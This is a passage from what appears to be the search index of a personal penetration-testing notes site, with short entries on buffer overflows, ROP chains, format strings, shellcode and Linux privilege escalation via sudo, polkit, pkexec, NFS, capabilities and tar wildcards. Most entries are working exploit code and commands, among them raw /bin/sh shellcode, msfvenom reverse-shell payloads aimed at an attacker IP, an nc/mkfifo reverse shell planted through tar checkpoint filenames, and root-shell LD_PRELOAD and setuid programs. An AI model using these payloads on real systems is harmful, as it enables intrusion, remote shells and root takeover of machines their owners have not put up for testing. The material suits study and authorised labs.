address of a function that cannot be reached into the PLT `PTR` to GOT through the buffer, so it will execute. The address which should be written is `0x40123b`\n* The input is as follows\n```sh\n%64c%6$n<restof address - 67>c %13$hn\n```\n* `64c` is `0x40`, rest of address - bytes already + 2 bytes alignment\n\n## Tips and Tricks\n\n* Overwrite GOT when there is no FullRELRO, when it is not read only\n* Find the input argument on the stack. Write `AAAA` and look out where it is placed on the stack\n```sh\nAAAA%6$p\n```\n\n","description":"","tags":[],"title":"Format String","uri":"/exploit/binaries/format_string/format_string.html"},{"content":"Canary Bypass\n* Get canary value from stack via string format exploit as an offset\n```sh\n%42$p\n```\n* Use the found value to add it to the payload\n* Afterwards, if the binary is PIE a pointer to the main or the elf which is stack aligned should be found\n\n\n","description":"","tags":[],"title":"Canary Bypass","uri":"/exploit/binaries/canary_bypass/canary_bypass.html"},{"content":"ROP Chaining\n## Usage\n\n* Find cyclic buffer size\n* Find gadgets via `ropper` or even better `ropstar`\n\n## Example\n```python\nfrom pwn import *\n\ns = ssh(host=\"$TARGET_IP\", user=\"<user>\", keyfile=\"\", password=\"\")\np = s.process(['sudo', '<process>'])\n\noffset=<found_offset_len>\n\n# take the ropchain from ropstar\npayload = cyclic(offset)\npayload += p64(0x4711)\npayload += p64(0x235)\npayload += p64(0x007)\n\nprint(p.recv())\np.sendline(payload)\nprint(p.recv())\np.sendline(\"/bin/sh\")\np.interactive(prompt='')\n```\n","description":"","tags":[],"title":"ROP Chaining","uri":"/exploit/binaries/buffer_overflow/ropping.html"},{"content":"Return Address reuse\n## via Shellcode, an examples\n* Find out the address of the start of the buffer and the start address of the return address\n* Calculate the difference between these addresses so you know how much data to enter to overflow\n* Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address\n\n* Plus NOPsled (sometimes xargs is needed in front of the app call)\n```python\npython -c \"print('\\x90' * 30 +'\\x48\\xb9\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x11\\x48\\xc1\\xe1\\x08\\x48\\xc1\\xe9\\x08\\x51\\x48\\x8d\\x3c\\x24\\x48\\x31\\xd2\\xb0\\x3b\\x0f\\x05'+ '\\x41' * 60 + '\\xef\\xbe\\xad\\xde')\" | xargs ./buffer-overflow\n```\n\n## Finding Offset\n### via gdb segfault output \n* 64 bit addresses use 6 out of 8 byte for addresses.\n```sh\ngdb ./application\nrun $(python -c \"print('\\x41' * 180)\")\n```\n* Return address hit completely when 6 bytes are filled.\n```sh\nProgram received signal SIGSEGV, Segmentation fault.\n0x0000414141414141 in copy_arg ()\n```\n* Buffer = measured_length - (`$rbp` + 6 bytes return address)\n\n### via metasploit\n```sh\n/opt/metasploit/tools/exploit/pattern_create.rb -l 180\n```\n* Looking for `rbp` Content in front of the return address to measure offset\n```sh\n(gdb) i r\n[...]\nrbp 0x<rbpAddress> 0x<rbpConent>\n[...]\n```\n* Measure offset\n```sh\npt/metasploit/tools/exploit/pattern_offset -l 180 -q <rbpContent>\n```\n\n## Crafting Payload\n* Contains Junk/NOPslice + shellcode + Junk over rbp + return address\n* Inside gdb\n```sh\nrun $(python -c \"print('A' * 100 + <shellcode> + 'A' * 12 + 'B' * 6)\")\n```\n* Check actual stack\n```sh\n(gdb) x/100x $rsp-200\n0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff\n0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff\n0x7fffffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141\n0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141\n0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141\n0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141\n0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141\n0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141\n0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a\n0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149\n[...]\n```\n* Shellcode starts at `0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4`.\n## NopSled\n* Prepend **nopsled** instead of `A` and pick an address inside as the future return address, for example `0x7fffffffe2a8`.\n```sh\n(gdb) x/100x $rsp-200\n0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff\n0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff\n0x7fffffffe248: 0xffffe64d 0x00007fff 0x90909090 0x90909090\n0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090\n0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090\n0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090\n0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090\n0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090\n0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x48583b6a\n0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149\n```\n* Convert return address to little endian `0x7fffffffe2a8` -> `\\xa8\\xe2\\xff\\xff\\xff\\x7f` and put it inside the return address\n```sh\nrun $(python -c \"print('\\x90'*100+'\\x6a\\x3b\\x58\\x48\\x31\\xd2\\x49\\xb8\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x49\\xc1\\xe8\\x08\\x41\\x50\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\\x6a\\x3c\\x58\\x48\\x31\\xff\\x0f\\x05'+'A'*12+'\\xa8\\xe2\\xff\\xff\\xff\\x7f')\")\n```\n\n## setuid() and setreuid()\n* Shellcode needs `setuid(0)` for effective root uid or the equivalent id of the account needed.\n* `/bin/sh` checks real uid not effective uid\n* ./shellcodes/setuid_shell.as\n\n### setreuid() in assembler\n* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)\n* `setreuid(1002,1002)` sets the __real__ uid inside the shell to 1002.\n* `setreuid()` has `rax` number `\\x71` (`113` dec). Args are stored in `rdi` and `rsi`.\n* ./shellcode/setreuid_shell.as \n```sh\n\"\\x48\\x31\\xFF\\x48\\x31\\xC0\\x48\\x31\\xF6\\x66\\xBE\\xEA\\x03\\x66\\xBF\\xEA\\x03\\xB0\\x71\\x0F\\x05\\x48\\x31\\xD2\\x48\\xBB\\xFF\\x2F\\x62\\x69\\x6E\\x2F\\x73\\x68\\x48\\xC1\\xEB\\x08\\x53\\x48\\x89\\xE7\\x48\\x31\\xC0\\x50\\x57\\x48\\x89\\xE6\\xB0\\x3B\\x0F\\x05\\x6A\\x01\\x5F\\x6A\\x3C\\x58\\x0F\\x05\"\n```\n* Convert to hex output via [Defuse](https://defuse.ca/online-x86-assembler.htm)\n\n### setreuid() in shellcode using pwntools\n* Shellcraft builds a shellcode containing `setreuid()`, without any parameter given the real uid to the file owner.\n```sh\n* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)\nshellcraft -f d amd64.linux.setreuid\n```\n* The uid can be set as an argument \n```sh\nshellcraft -f d amd64.linux.setreuid <uid> \n```\n* Prepend this in front of the existing shellcode like this\n```sh\nrun $(python -c \"print('\\x90' * 99 + '\\x6a\\x6b\\x58\\x0f\\x05\\x48\\x89\\xc7\\x6a\\x71\\x58\\x48\\x89\\xfe\\x0f\\x05\\x6a\\x3b\\x58\\x48\\x31\\xd2\\x49\\xb8\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x49\\xc1\\xe8\\x08\\x41\\x50\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\\x6a\\x3c\\x58\\x48\\x31\\xff\\x0f\\x05' + 'B' * 8 + '\\x88\\xe2\\xff\\xff\\xff\\x7f')\")\n```\n * Where the existing shellcode is the following\n ```sh\n \\x6a\\x3b\\x58\\x48\\x31\\xd2\\x49\\xb8\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x49\\xc1\\xe8\\x08\\x41\\x50\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\\x6a\\x3c\\x58\\x48\\x31\\xff\\x0f\\x05\n ```\n * Setreuid part is the following\n ```sh\n \\x6a\\x6b\\x58\\x0f\\x05\\x48\\x89\\xc7\\x6a\\x71\\x58\\x48\\x89\\xfe\\x0f\\x05\n ``` \n","description":"","tags":[],"title":"Return Address reuse","uri":"/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html"},{"content":"Buffer Overflow* [Cheat Sheet](https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst)\n\n# Usage\n* Fuzz & crash the binary pretty roughly via payload \n```sh\npython -c \"print('A' * 3000)\n```\n\n## Fuzzing \n* python 3\n../fuzzer.py\n\n* python 2\n../fuzzer2.py\n\n## Measure Offset\n* Use as payload\n```sh\n/opt/metasploit/tools/exploit/pattern_create.rb -l <bufferlength>\n```\n* Find content of the payload at EIP and identify exact bufferlength\n```sh\n/opt/metasploit/tools/exploit/pattern_offset.rb -l <bufferlength> -q <EIP-content>\n```\n```\nmsf-pattern_offset -l <bufferlength> -q <EIP>\n```\n```\nmona msfpattern -l <bufferlength>\n```\n* Fill offset variable in exploit `buffer_overflow.py`\n../buffer_overflow.py\n\n* Execute buffer_overflow.py, EIP should contain `BBBB`\n\n## Find bad characters to input in the buffer\n* Execute `bad_chars.py` and include it as payload. Always excluded is `\\x00`.\n../bad_chars.py\n\n* Compare stack if any bad chars block exectuion of the payload following in the next steps.\n```sh\n!mona bytearray -b \"\\x00\"\n!mona compare -f <path_to_bytearray.bin> -a <ESP>\n```\n\n## Find Jump Point / RoP \n* Jump point to `ESP` (32 bit binary) needs to be found to put it inside `EIP`\n\n### Example: Immunity Debugger using mona on windows machine\n```sh\n!mona modules\n```\n```sh\n!mona jmp -r esp -m <exploitable_bin_from_modules>\n```\n* The found address needs to be **LITTLE ENDIAN NOTATION INSIDE THE EIP VARIABLE** if x86/amd64\n\n## Shellcode as Payload\n* Last part is the individual shellcode, put it in the payload variable of `buffer_overflow.py`\n```sh\nmsfvenom -p windows/shell_reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b \"\\x00\"\nmsfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker-ip LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b \"\\x00\"\n``` \n* Prepend NOPs as padding before shellcode\n\n","description":"","tags":[],"title":"Buffer Overflow","uri":"/exploit/binaries/buffer_overflow/docs/buffer_overflow.html"},{"content":"pwntools\n## Memory Addresses of ELF Binary\n* Find address of function and use it on $eip\n```python\np = process(<binary>)\nelf = ELF(<binary>)\n__function = elf.symbol.<functionName>\npayload = fit({\n 42: __function # Length measured via cyclic \n})\np.sendline()\nproc.interactive() \n```\n\n","description":"","tags":[],"title":"pwntools","uri":"/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html"},{"content":"amd64 instructions\n* `;` starts a comment\n\n## Values\n* __Immediate__, numbers\n* __register__, existing registers\n* __memory__, memory addresses\n\n## Move\n* `MOV`, from source to destination\n* `LEA`, loads memory address and stores it in the destination. Address can have an offset. Does not dereference `[var]` or `[var+x]`\n* `PUSH` & `POP`, put & delete registers to/from stack.\n\n## Arithmetic\n* `INC`, increment\n* `DEC`, decrement\n* `ADD`\n* `SUB`, substracts source from dest and stores in dest\n* `MUL` & `IMUL`, result may be stored in upper and lower halfs (rdx:rax)\n* `DIV` & `IDIV`, rax is divided by rbx and may be stored in two halfs as well\n\n## Conditionals\n* `RET`, return value to the caller\n* `CMP`, compare two values and sets flag. Next instruction is a jump condition to a line number. Works as follows\n * `JE`, `JEZ`, `JLE` ... followed by linenumber\n* `NOP`, `\\x90`\n* `CALL` a function\n\n## Address Handling\n* `[var]`, memory address of var.\n * If var contains an address then after `mov [var], 42` var points to the value 42. `[` dereference.\n \n## Zero Handling in Registers\n* Move to `eax` will result in zeroing the upper 32 bit of an `rax` register, move to `ax`, `ah`, `al` will not.\n* `MOVZX` zeros anything but the value moved to the register inside of it.\n\n## Jumps\n* For signed value comparison\n * `JL/JNGE` (SF <> OF) ; Jump if less/not greater or equal\n * `JGE/JNL` (SF = OF) ; Jump if greater or equal/not less\n * `JLE/JNG` (ZF = 1 or SF <> OF); Jump if less or equal/not greater\n * `JG/JNLE` (ZF = 0 and SF = OF); Jump if greater/not less or equal\n\n* For unsigned value comparison\n * `JB/JNAE` (CF = 1) ; Jump if below/not above or equal\n * `JAE/JNB` (CF = 0) ; Jump if above or equal/not below\n * `JBE/JNA` (CF = 1 or ZF = 1) ; Jump if below or equal/not above\n * `JA/JNBE` (CF = 0 and ZF = 0); Jump if above/not below or equal\n\n## Flags\n* `eflags` 32bit\n* `rflags` 64bit\n\n### Status\n* __Zero Flag__ (ZF), 1 if the result of the comparison is equal.\n* __Carry Flag__ (CF), a 1 is stored if a carry is needed after a calculation.\n* __Overflow Flag__ (OF), register overflow is 1\n* __Sign Flag__ (SF), 1 if result is negative.\n* __Adjust/Auxiliary Flag__ (AF), carry flag for BCD.\n* __Parity Flag__ (PF), 1 if the last 8 bits are even.\n* __Trap Flag__ (TF)\n\n## Calling Conventions \n\n## cdecl\n\n## fastcall\n* First four are passed __left to right__\n* int -> RCX, RDX, R8, R9\n* float -> XMM0, XMM1, XMM2, XMM3\n* Rest is __right to left__\n* Basepointer is saved by the caller\n* Return values is passes via `rax` or `xmm0`\n* Caller allocates space for at least four values, so 32 bytes are reserved. `$rsp to $rsp+0x18`\n* Volatile registers are `rax, rcx, r8, r9, r10, r11, xmm0, xmm1, xmm2, xmm3, xmm4, xmm5`. These are destroyed after function call.\n* Nonvolatile registers are `rbx, rbp, rdi, rsi, rsp, r12, r13, r14, r15, xmm6-15` ares saved and restored after function call.\n","description":"","tags":[],"title":"amd64 instructions","uri":"/exploit/binaries/buffer_overflow/docs/amd64_instructions.html"},{"content":"Cut Stack in Half + NOPsled\n* Stack has to be executable\n* `cylic buffer` + `eip` content is `esp` + half of the stack + NOPsled + shellcode\n* **ASLR has to be off** or `eip` content address pointing into the sled needs to be fuzzed hard\n\n## shellcraft\n* for example\n```sh\nshellcraft i386.linux.execve \"/bin///sh\" \"['sh', '-p']\" -f s\n```\n\n## Usage\n* measure `eip` offset via \n ```sh\n cyclic <number>\n ```\n * Check eip content via gdb\n ```sh\n cyclic -l <eipContent>\n ```\n* Example code\n```python\nfrom pwn import *\n\npadding(cyclic(cyclic_find(<eipContent>))\neip = p32(<esp> + some offset into stack)\nsled = 90 * 100\nshellcode = \"jhh\\x2f\\x2f\\x2fsh\\x2fbin\\x89\\xe3jph\\x01\\x01\\x01\\x01\\x814\\x24ri\\x01,1\\xc9Qj\\x07Y\\x01\\xe1Qj\\x08Y\\x01\\xe1Q\\x89\\xe11\\xd2j\\x0bX\\xcd\\x80\"\npayload = padding + eip + sled + shellcode\n```\n\n","description":"","tags":[],"title":"Cut Stack in Half + NOPsled","uri":"/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html"},{"content":"amd64\n* `rax` return value, caller saved.\n* `rbx` base register (used for mem basepointer)\n* `rcx` counter register\n* `r10`, `r11` are caller saved.\n* `rbx`, `r12`, `r13`, `r14` are callee saved \n* `rdx` data register\n* `rbp` is also callee saved(and can be optionally used as a frame pointer)\n* `rsp` is callee saved\n* `rip` next instruction pointer\n\n## Function argument registers\n* `rdi`,`rsi`,`rdx`,`rcx`,`r8 `,`r9 `, called saved.\n* Further function args are stored inside its stack frame.\n\n\n## Overwriting Variables and Padding\n* Overwrite an atomic variable behind a buffer\n```C\nint main ( int argc, char ** argv ) {\n int var = 0 \n char buffer[12];\n \n gets(buffer);\n [...]\n}\n```\n* Stack layout \n```\nBottom \n+------------------+\n| Saved registers |\n+------------------+\n| int var |\n+------------------+\n| char buffer [11] |\n| ... |\n| ... |\n| ... |\n| char buffer [0] |\n+------------------+\n| char ** argv |\n+------------------+\n| char argc |\n+------------------+\nTop\n```\n\n* Watch out! I.e., a 12 byte array is padded to system memory allocation size.\n```\n+-------------+----+\n|12 byte array| 4b |\n+-------------+----+\n0 12 16 byte\n```\n","description":"","tags":[],"title":"amd64","uri":"/exploit/binaries/buffer_overflow/docs/amd64.html"},{"content":"smbmap\n* [Repo](https://github.com/ShawnDEvans/smbmap.git)\n* `python3 -m pip install -r requirements.txt`\n\n# Usage\n* `-x` execute command on server\n* `-s` enumerate share\n\n```sh\nsmbmap -u \"admin\" -p \"password\" -H \"10.10.10.10\" -x 'ipconfig'\n```\n","description":"","tags":[],"title":"smbmap","uri":"/exploit/samba/smbmap.html"},{"content":"YAML Deserialization\n* [CVE-2019-20477](https://packetstormsecurity.com/files/cve/CVE-2019-20477)\n* RCE via Yaml execution by Python\n\n* [jolt](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)\n\n## Usage\n\n* Example Payload insid foo.yaml gets executed via Python\n```sh\n!!python/object/apply:os.system [\"id\"]\n```\n","description":"","tags":[],"title":"YAML Deserialization","uri":"/exploit/yaml/deserialization.html"},{"content":"Meltdown\n* [PoC from IAIK](https://github.com/IAIK/meltdown.git)\n\n\n* Each page table entries has the following flag values\n * SUP (user or kernel mode)\n * READ\n * WRITE\n\n* Flags are checked by the MMU\n\n* Pipelined steps of an instruction are the following\n * Fetch\n * Decode\n * Execute\n * Memory access\n * Register write back\n\n* A pipeline can execute one of each steps concurrently every clock cycle.\n* The MMU may jump between instruction queued in the pipeline to make use of time while the current instruction stalls.\n* __Speculative execution__ is the reordering of instructions to speed up execution inside the pipeline.\n * If a condition is executed speculatively, kernel memory may be executed. No error is thrown, because the is no assurance if the condition will actually be executed in the end.\n\n* [Kernel Page Table Isolation](http://www.brendangregg.com/blog/2018-02-09/kpti-kaiser-meltdown-performance.html) can be used to mitigate meltdown. \n\n","description":"","tags":[],"title":"Meltdown","uri":"/exploit/CPUs/meltdown.html"},{"content":"LD_PRELOAD\n* Preload libs and do interpositioning of functions.\n\n* `man ld.so`\n* `man dlsym`, `dlsym()` calls the original function\n\n## Example 1\n* Interpositioning of `_init()`\n```sh\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdlib.h>\n\nvoid _init() {\n unsetenv(\"LD_PRELOAD\");\n setgid(0);\n setuid(0);\n system(\"/bin/bash\");\n}\n```\n* `gcc -fPIC -shared -o lib.so lib.c -nostartfiles`\n* `sudo LD_PRELOAD=lib.so apache2`\n* `$ id`\n\n\n## Example 2\n* Interpositioning of `write()`\n```C\n#include <stdio.h>\n#include <unistd.h>\n#include <dlfcn.h> // Contains _GNU_SOURCE from man dlsym\n#include <string.h>\nssize_t write(int fildes, const void *buf, size_t nbytes)\n{\n ssize_t result;\n do the thing;\n return result;\n}\n```\n* In case the symbol lookup returns an error libdl is linked\n```sh\ngcc -ldl interpositioning.c -fPIC -shared -D _GNU_SOURCE -o interpositioning.so -ldl` \n```\n## Preloading\n* Dependent on the installation status of lib32 and/or lib64 and various packages the path of `LD_PRELOAD` has to be set differently. These may look as follows\n* `LD_PRELOAD=./interpositioning.so <binary>`\nor\n* `export LD_PRELOAD=$(pwd)/interpositioning.so`\nor\n* Global preload via `/etc/ld.so.preload`\nor\n* Change the preload path via `LD_PRELOAD_PATH`\n\n* Verify via `ldd <somebinary>`\n\n","description":"","tags":[],"title":"LD_PRELOAD","uri":"/exploit/linux/ld_preload.html"},{"content":"Racing Conditions\n## Read files from another user\n\n* The file of interest needs to be opened by a process which is a suid binary (here named `read_reds`) and creates a file descriptor to it\n* The file of intereset is called `root_credentials` and is owned by root\n* Create a file \n```sh\ntouch yo\n```\n* Compile `gistfile.txt` from [live overflow's repo](https://gist.github.com/LiveOverflow/590edaf5cf3adeea31c73e303692dec0)\n```sh\ngcc gistfile.c -o rename_file\n```\n* Inside session 1 start the binary\n```sh\n./rename_file yo root_credentials\n```\n* Inside session to try to read `root_credentials` until it succeeds\n```sh\n./read_creds root_credentials\n```\n","description":"","tags":[],"title":"Racing Conditions","uri":"/exploit/linux/racing_conditions.html"},{"content":"Shared Object Injection\n* [gaffe23](https://github.com/gaffe23/linux-inject)\n* [exploit-db](https://www.exploit-db.com/papers/37606)\n\n* Test binary via \n```sh\nstrace <binary> 2>&1 | grep -i -E \"open|access|no such file\"\n```\n\n## Example\n\n```sh\n#include <stdio.h>\n#include <stdlib.h>\n\nstatic void inject ( ) __attribute__ ( (constructor) );\n\nvoid inject ( ) {\n system ( \"cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p\" );\n}\n```\n* `gcc -fPIC -shared -o ~/.config/lib.so ~/.config/lib.c`\n* Run binary using the lib\n","description":"","tags":[],"title":"Shared Object Injection","uri":"/exploit/linux/shared_object_injection.html"},{"content":"Groups\n* [steflan-security](https://steflan-security.com/linux-privilege-escalation-exploiting-user-groups/)\n","description":"","tags":[],"title":"Groups","uri":"/exploit/linux/groups.html"},{"content":"Shell Shock\n* Check target via\n```sh\ncurl -A \"() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id\" http://<target-IP>/cgi-bin/test/test.cgi\n```\n","description":"","tags":[],"title":"Shell Shock","uri":"/exploit/linux/shell_shock.html"},{"content":"NFS RootSquash\n* [hacktricks](https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe)\n* `no_root_squash` has to be as an option on the NFS device\n\n## Usage\n* `showmount -e <target-IP>`\n* `mkdir /tmp/net_volume`\n\n* Connect to NFS share\n```sh\nmount -o rw,vers=2 <nfsShare-IP>:/tmp /tmp/net_volume\n```\n\n* Create root shell inside the dir of the share\n```sh\necho 'int main() { setgid(0); setuid(0); system(\"/bin/bash\"); return 0; }' > /tmp/net_volume/shell.c\ngcc /tmp/net_volume/shell.c -o /tmp/net_volume/shell\nchmod +s /tmp/net_volume/shell\n```\n\n","description":"","tags":[],"title":"NFS RootSquash","uri":"/exploit/linux/nfs_rootsquash.html"},{"content":"setcap\n* Set capabilities of a binary\n* [Hacktrick's setuid page](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/euid-ruid-suid)\n\n\n## Usage\n\n* If there is an S-bit or sudo on setcap do the following. Copy python binary and\n```sh\nsetcap cap_setuid+ep /absolute/path/to/copied/python3 \npython3 -c \"import os; os.setuid(0); os.system('/bin/bash')\"\n```\n","description":"","tags":[],"title":"setcap","uri":"/exploit/linux/setcap.html"},{"content":"Wildcard usage* [Leon Juranic has shown it](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)\n\n## Another Example\n\n* cronjob gets backup data from `/var/www/html` via `tar cf backup.tar *`. The reverse shell and the parameters need to be files in this directory to get called by tar and be executed.\n\n```sh\necho \"mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq\" > shell.sh\necho \"\" > \"--checkpoint-action=exec=sh shell.sh\"\necho \"\" > \"--checkpoint=1\"\n```\nor \n```sh\necho \"mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq\" > /var/www/html/shell.sh\ntouch \"/var/www/html/--checkpoint-action=exec=sh shell.sh\"\ntouch \"/var/www/html/--checkpoint=1\"\n```\n\n## touched Filename Options\n\n* Give full permissions on all the files\n```sh\ntouch './\"\";$(chmod 777 *)'\n```\n\n","description":"","tags":[],"title":"Wildcard usage","uri":"/exploit/linux/wildard_exploitation.html"},{"content":"CVE-2021-3493\n* Kernel module, enables aggregation of mountpoints in a single tree of which parts are writeable others are not\n* [Exploit](https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/)\n\n\n","description":"","tags":[],"title":"CVE-2021-3493","uri":"/exploit/linux/overlayfs.html"},{"content":"CVE-2021-22204\n* Craft an a payload and execute it via exiftool\n* [Article](https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/)\n\n## Usage\n* Payload is `(metadata \"\\c${system('id')};\")`\n```sh\nsudo apt install djvulibre-bin\nbzz payload payload.bzz\ndjvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz\n```\n","description":"","tags":[],"title":"CVE-2021-22204","uri":"/exploit/linux/exiftool.html"},{"content":"Capabilities\n* [HackTricks](https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities)\n\n## Usage\n* Find capabilities\n```sh\ngetcap -r / 2>/dev/null\n```\n\n* `cap_setuid` through `/bin/perl`\n```sh\nperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/sh\"'\n```\n","description":"","tags":[],"title":"Capabilities","uri":"/exploit/linux/capabilities.html"},{"content":"CVE-2021-3560\n* Exploit `< 0.105-26ubuntu1.1`\n\n\n## Racing Condition\n* Request creation of account via dbus message and `pkexec`. sleep time is variable.\n```sh\ndbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:user1 string:\"New Account\" int32:1 & sleep 0.005s; kill $!\n```\n * Create password via `openssl passwd -6 -salt salt password123`\n```sh\ndbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$cevuzTZ/QBjzuZG0/ebEeedmcTnhyM8ITUu8K032Cp2XvIibq7voqYagm18bwpLBqrg/l/l6YxTmKKibJz5r10' string:'New Password' & sleep 0.005s; kill $!\n```\n* Request is killed after polkits receives it\n\n* Polkit requests uid of user who sent the message, which has been deleted\n* Error will be thrown\n* Uid turns to root afterwards\n* Request succeeds\n\n* `su user1` and `sudo -s`\n\n\n# Priv Esc with Two Sessions\n* User has to be member of group `sudo`\n* Open two ssh sessions\n* In session one check the PID\n```sh\necho $$\n```\n* In the other session\n```sh\npkttyagent --process <PID of s1>\n```\n* In session one do\n```sh\npkexec \"/bin/bash\"\n``` \n* Enter password in session two\n","description":"","tags":[],"title":"CVE-2021-3560","uri":"/exploit/linux/polkit.html"},{"content":"CVE-2022-0847\n* [Max Kellerman's post](https://dirtypipe.cm4all.com/)\n\n* 5.8 < Vulnerable kernels < 5.10.102\n* If a file can be read, it can be written also.\n\n## Usage\n\n* `splice(2)` moves data between files and through pipes without copying between kernel and user adress space\n* Anonymous pipes permissions are not checked\n * Read only permissions on pages do not matter on a pipe level\n* Splice is putting data into the pipe and malicious data afterwards in the same one to overwrite the mem page\n* `PIPE_BUF_FLAG_CAN_MERGE` flag has to be activated in order to write back to a file\n* Works as long as there is an offset to start of a page in the beginning of the writing\n","description":"","tags":[],"title":"CVE-2022-0847","uri":"/exploit/linux/dirty_pipe/dirty_pipe.html"},{"content":"CVE-2021-4032\n* [Qualys put it in the open](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)\n* [arthepsy's exploit](https://github.com/arthepsy/CVE-2021-4034)\n\n* Arg counting starts at 1 inside pkexec logic\n* `execve( \"/usr/binpkexec\", (char **){NULL}, env)` puts NULL into argc[1]\n* The value behind NULL can be overwritten, which is the first env param\n\n\n\n","description":"","tags":[],"title":"CVE-2021-4032","uri":"/exploit/linux/pkexec/CVE_2021_4034.html"},{"content":"CVE-2019-14287\n* Versions < 1.8.28\n\n## Usage \n* Integer overflow with resulting root status.\n```sh\nsudo -u#-1 <app>\n```\n","description":"","tags":[],"title":"CVE-2019-14287","uri":"/exploit/linux/sudo/CVE_2019_14287.html"},{"content":"Sudo pwnge with pwfeedback()\n* Sudo version 1.7.1 to 1.8.30\n* [Saleem's github](https://github.com/saleemrashid/sudo-cve-2019-18634)\n","description":"","tags":[],"title":"Sudo pwnge with pwfeedback()","uri":"/exploit/linux/sudo/CVE_2019_18634.html"},{"content":"CVE-2021-3156 Baron Samedit\n* [Animesh Jain's blog post on Qualys](https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit)\n* [blasty's PoC](https://github.com/blasty/CVE-2021-3156.git)\n* Heap based overflow\n* Versions 1.8.2-1.8.31p2, 1.9.0-1.9.5p1\n* Check vulnerability via\n```sh\nsudoedit -s '\\' $(python -c \"print('\\x41' * 10000)\")\n```\n* Defaults to try\n```sh\n./brute.sh 90 120 50 70 150 300\n```\n","description":"","tags":[],"title":"CVE-2021-3156 Baron Samedit","uri":"/exploit/linux/sudo/baron_samedit.html"},{"content":"Reusing Sudo Token\n* Reuse sudo token of currently logged in user\n* [Hacktricks' site](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens)\n\n* `ptrace` has to be fully enabled\n```sh\ncat /proc/sys/kernel/yama/ptrace_scope\n0\n```\n* sudo has to be triggered the last 15 minutes, check `ps wuax`\n* `gdb` has to be installed\n* One must be logged in as the same user which should be owned\n* Use [nongiach's exploit](https://github.com/nongiach/sudo_inject)\n","description":"","tags":[],"title":"Reusing Sudo Token","uri":"/exploit/linux/sudo/tokens.html"},{"content":"PadBuster\n* [AeonCyberLabs' github](https://github.com/AonCyberLabs/PadBuster.git)\n\n* Padding Oracle\n\n## Usage on Cookies\n\n* Oracle on cookievalue, use website error message of invalid padding\n* A high privileged user account can be added as a target\n```sh\n ./padBuster.pl http://10.10.135.100/index.php 3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3 8 -cookies \"hcon=3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3\" -error \"<website error>\"\n```sh\n ./padBuster.pl http://$TARGET_IP/index.php 3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3 8 -cookies 